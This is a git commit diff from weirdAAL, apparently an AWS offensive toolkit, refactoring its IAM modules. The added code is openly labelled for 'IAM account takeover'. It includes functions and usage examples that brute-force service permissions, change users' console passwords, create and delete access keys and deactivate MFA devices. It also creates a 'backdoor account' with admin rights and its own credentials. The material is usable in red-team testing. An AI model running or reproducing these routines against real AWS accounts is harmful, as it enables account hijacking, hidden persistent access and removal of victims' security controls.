iam updates

This commit is contained in:
carnal0wnage
2018-04-23 19:26:47 -04:00
parent 97ac1425ea
commit ed630bba1f
5 changed files with 135 additions and 35 deletions

View File

@@ -277,7 +277,7 @@ def brute_alexaforbusiness_permissions():
http://boto3.readthedocs.io/en/latest/reference/services/alexaforbusiness.html http://boto3.readthedocs.io/en/latest/reference/services/alexaforbusiness.html
''' '''
print("### Enumerating Alexa For Business Permissions ###") print("### Enumerating Alexa For Business Permissions ###")
tests = [('ListSkills', 'list_skills', (), {}, ), ] tests = [('CreateAddressBook', 'create_address_book', (), {'Name' : 'Test'}, ), ]
return generic_permission_bruteforcer('alexaforbusiness', tests) return generic_permission_bruteforcer('alexaforbusiness', tests)
@@ -701,9 +701,9 @@ def brute_ec2_permissions():
('DescribeImages', 'describe_images', (), {'DryRun': True, 'Owners': ['self', ]}, ), ('DescribeImages', 'describe_images', (), {'DryRun': True, 'Owners': ['self', ]}, ),
('CreateImage', 'create_image', (), {'InstanceId': 'i-0ffffeeeeaa11e111', 'Name': 'testimage', 'DryRun': True}, ), ('CreateImage', 'create_image', (), {'InstanceId': 'i-0ffffeeeeaa11e111', 'Name': 'testimage', 'DryRun': True}, ),
('DescribeVolumes', 'describe_volumes', (), {'DryRun': True}, ), ('DescribeVolumes', 'describe_volumes', (), {'DryRun': True}, ),
('CreateVolume', 'create_volume', (), {'AvailabilityZone': 'us-east-2', 'Size': 8, 'DryRun': True}, ), ('CreateVolume', 'create_volume', (), {'AvailabilityZone': 'us-east-1a', 'Size': 8, 'DryRun': True}, ),
('DescribeSnapshots', 'describe_snapshots', (), {'DryRun': True, 'OwnerIds': ['self', ]}, ), ('DescribeSnapshots', 'describe_snapshots', (), {'DryRun': True, 'OwnerIds': ['self', ]}, ),
('CreateSnapshot', 'create_snapshot', (), {'VolumeId': 'vol-05777eab71bc97dcb', 'DryRun': True}, ), #('CreateSnapshot', 'create_snapshot', (), {'VolumeId': 'vol-05777eab71bc97dcb', 'DryRun': True}, ),
('DescribeAccountAttributes', 'describe_account_attributes', (), {'DryRun': True}, ), ('DescribeAccountAttributes', 'describe_account_attributes', (), {'DryRun': True}, ),
('DescribeAddresses', 'describe_addresses', (), {'DryRun': True}, ), ('DescribeAddresses', 'describe_addresses', (), {'DryRun': True}, ),
('DescribeAvailabilityZones', 'describe_availability_zones', (), {'DryRun': True}, ), ('DescribeAvailabilityZones', 'describe_availability_zones', (), {'DryRun': True}, ),

View File

@@ -67,13 +67,14 @@ def check_root_account():
except KeyboardInterrupt: except KeyboardInterrupt:
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
def change_user_console_password(username, password): def iam_change_user_console_password(username, password):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
response = client.update_login_profile(UserName=username,Password=password, PasswordResetRequired=False) response = client.update_login_profile(UserName=username,Password=password, PasswordResetRequired=False)
print('Changing password for user: {} to password: {}' .format(username, password)) print('Changing password for user: {} to password: {}' .format(username, password))
print('Response to password change was: []' .format(response['ResponseMetadata']['HTTPStatusCode'])) # print(response)
print('Response to password change was: {}' .format(response['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e: except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'PasswordPolicyViolation': if e.response['Error']['Code'] == 'PasswordPolicyViolation':
print("Password policy violation. Manually check password policy") print("Password policy violation. Manually check password policy")
@@ -85,7 +86,7 @@ def change_user_console_password(username, password):
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
def create_user_console_password(username, password): def iam_create_user_console_password(username, password):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
@@ -115,7 +116,7 @@ def get_password_policy():
except KeyboardInterrupt: except KeyboardInterrupt:
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
def create_user(username): def iam_create_user(username):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
@@ -132,7 +133,7 @@ def create_user(username):
except KeyboardInterrupt: except KeyboardInterrupt:
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
def create_access_key( username): def iam_create_access_key(username):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
@@ -144,7 +145,7 @@ def create_access_key( username):
except KeyboardInterrupt: except KeyboardInterrupt:
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
def delete_access_key(username, accesskey): def iam_delete_access_key(username, accesskey):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
@@ -160,11 +161,11 @@ def delete_access_key(username, accesskey):
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
#untested :-/ but should work #TODO #untested :-/ but should work #TODO
def delete_mfa_device(username, mfaserial): def iam_delete_mfa_device(username, mfaserial):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
delete_mfa = client.deactivate_mfa_device(UserName=username, SerialNumber=mfaserial) delete_mfa = client.deactivate_mfa_device(UserName=username, SerialNumber=mfaserial)
print("Deleting a MFA device: {} for: {}" .format(mfaserial, username)) print("Deleting MFA device: {} for: {}" .format(mfaserial, username))
print('Response to delete MFA devices was: {}' .format(delete_mfa['ResponseMetadata']['HTTPStatusCode'])) print('Response to delete MFA devices was: {}' .format(delete_mfa['ResponseMetadata']['HTTPStatusCode']))
except botocore.exceptions.ClientError as e: except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'NoSuchEntity': if e.response['Error']['Code'] == 'NoSuchEntity':
@@ -174,8 +175,34 @@ def delete_mfa_device(username, mfaserial):
except KeyboardInterrupt: except KeyboardInterrupt:
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
def iam_list_mfa_device(username):
client = boto3.client('iam', region_name=region)
try:
response = client.list_mfa_devices(UserName=username)
# print(response)
if response.get('MFADevices') is None:
print("{} likely does not have IAM permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['MFADevices']) <= 0:
print("[-] ListMFADevices allowed for {} but no results [-]" .format(region))
else:
print("### MFA info for {} ###".format(username))
for device in response['MFADevices']:
pp.pprint(device)
print("\n")
def make_admin(username): except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def iam_make_admin(username):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
@@ -191,15 +218,15 @@ def make_admin(username):
except KeyboardInterrupt: except KeyboardInterrupt:
print("CTRL-C received, exiting...") print("CTRL-C received, exiting...")
def make_backdoor_account( username, password): def iam_make_backdoor_account( username, password):
client = boto3.client('iam', region_name=region) client = boto3.client('iam', region_name=region)
try: try:
print("making backdoor account with username: {}" .format(username)) print("Making backdoor account with username: {}" .format(username))
create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) iam_create_user(username)
make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) iam_make_admin(username)
create_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, username, password) iam_create_user_console_password(username, password)
create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,username) iam_create_access_key(username)
except botocore.exceptions.ClientError as e: except botocore.exceptions.ClientError as e:
print("Unexpected error: {}" .format(e)) print("Unexpected error: {}" .format(e))

View File

@@ -16,7 +16,7 @@ def module_iam_get_account_summary():
iam_get_account_summary() iam_get_account_summary()
def module_iam_list_users(*args): def module_iam_list_users():
iam_list_users() iam_list_users()
def module_iam_check_root_account(): def module_iam_check_root_account():
@@ -31,12 +31,23 @@ def module_iam_list_roles():
def module_iam_list_policies(): def module_iam_list_policies():
iam_list_policies() iam_list_policies()
#have to figure out the argument passing part here first
def module_iam_list_user_policies():
iam_list_user_policies( 'root')
def module_iam_list_attached_user_policies(): def module_iam_list_user_policies(*text):
iam_list_attached_user_policies( 'root') '''
List user policies for specified user
python3 weirdAAL.py -m iam_list_user_policies -a python -t yolo
'''
iam_list_user_policies(text[0][0])
def module_iam_list_entities_for_policy(): def module_iam_list_attached_user_policies(*text):
iam_list_entities_for_policy('arn:aws:iam::xxxxxxx') '''
List attached user policies for specified user
python3 weirdAAL.py -m iam_list_attached_user_policies -a python -t yolo
'''
iam_list_attached_user_policies(text[0][0])
def module_iam_list_entities_for_policy(*text):
'''
python3 weirdAAL.py -m iam_list_entities_for_policy -a 'arn:aws:iam::...' -t yolo
'''
iam_list_entities_for_policy(text[0][0])

View File

@@ -1,18 +1,80 @@
''' '''
Functions specificially realted to IAM account takeover
if you have root or IAM access gather user info, manipulate access keys or passwords, make backdoor account if you have root or IAM access gather user info, manipulate access keys or passwords, make backdoor account
''' '''
from libs.iam import * from libs.iam import *
from libs.sts import * from libs.sts import *
#from config import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
def module_iam_pwn(): def module_iam_get_account_summary():
get_accountid() '''
check_root_account() Get account summmary for current user get_account_summary()
'''
iam_get_account_summary()
def module_iam_check_root_account():
'''
runs get_account_summary, list_users, for each user list_login_profiles() & list_mfa_devices()
'''
check_root_account()
def module_iam_get_password_policy():
'''
runs IAM get_account_password_policy for the current user
'''
get_password_policy() get_password_policy()
#create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3')
#delete_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3', 'AKIAIJV3RQMOYM7WQS2Q')
#change_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, 'pythons3', 'PS#EDCasd123456!@') def module_iam_list_mfa_device(*text):
'''
List MFA device for specified user
python3 weirdAAL.py -m iam_list_mfa_device -a python -t yolo
'''
iam_list_mfa_device(text[0][0])
def module_iam_delete_mfa_device(*text):
'''
delete specified MFA device for specified user - username,serialnum
python3 weirdAAL.py -m iam_delete_mfa_device -a 'python','arn:aws:iam::XXXXXXXXX:mfa/python' -t yolo
'''
iam_delete_mfa_device(text[0][0], text[0][1])
def module_iam_change_user_console_password(*text):
'''
change the console password for the specied user
python3 weirdAAL.py -m iam_change_user_console_password -a 'python','HackTh3Planet!' -t yolo
'''
iam_change_user_console_password(text[0][0], text[0][1])
def module_iam_create_access_key(*text):
'''
create an access key for specfied user
python3 weirdAAL.py -m iam_create_access_key -a 'python' -t yolo
'''
iam_create_access_key(text[0][0])
def module_iam_delete_access_key(*text):
'''
delete the specified access key for a specified user username,accesskeyid
python3 weirdAAL.py -m iam_delete_access_key -a 'python','AKIAEXAMPLEQ' -t yolo
'''
iam_delete_access_key(text[0][0], text[0][1])
#create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax') #create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
#make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax') #make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
#make_backdoor_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax','PS#EDCasd123456!@')
def module_iam_make_backdoor_account(*text):
'''
calls the following functions:
iam_create_user(username)
iam_make_admin(username)
iam_create_user_console_password(username, password)
iam_create_access_key(username)
'''
iam_make_backdoor_account(text[0][0], text[0][1])

View File

@@ -30,7 +30,7 @@ parser.add_argument("-v", "--verbosity", help="increase output verbosity", actio
args = parser.parse_args() args = parser.parse_args()
# Provides us with a global var "db_name" we can access anywhere # Provides us with a global var "db_name" we can access anywhere
builtins.db_name = "weirdAAL.py" builtins.db_name = "weirdAAL.db"
# Provides us with a global var "target" we can access anywhere # Provides us with a global var "target" we can access anywhere
builtins.target = args.target builtins.target = args.target